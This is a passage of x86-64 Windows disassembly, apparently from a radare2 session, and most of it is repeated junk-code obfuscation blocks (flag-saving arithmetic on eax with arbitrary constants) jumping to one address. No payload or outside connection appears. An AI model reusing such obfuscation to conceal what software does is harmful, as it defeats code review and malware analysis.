not eax
add eax, 0x8f342d63
xor eax, 0xd375ba8a
rol eax, 0x95
popf
pushf
not eax
add eax, 0xb890d707
xor eax, 0x8ecc49bc
rol eax, 0xdd
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x602297ba
pushf
not eax
add eax, 0x907e1169
xor eax, 0xcbd6f0b9
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xbe40d6c2
xor eax, 0xd85c7408
rol eax, 0x33
popf
pushf
not eax
add eax, 0xffab0179
xor eax, 0xcc5a2ec2
rol eax, 0x57
popf
jmp 0x1400dafd5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae1e9
push rax
pushf
mov eax, 0x6344e44a
pushf
not eax
add eax, 0xd1caf6d0
xor eax, 0xd2da292b
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xcf9f62d1
xor eax, 0xbd303ab6
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xfca71107
xor eax, 0xdf06d84c
rol eax, 0xea
popf
jmp 0x1400dafd5
mov rax, r13
mov rbx, qword [rsp + 0x1118]
add rsp, 0x10d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret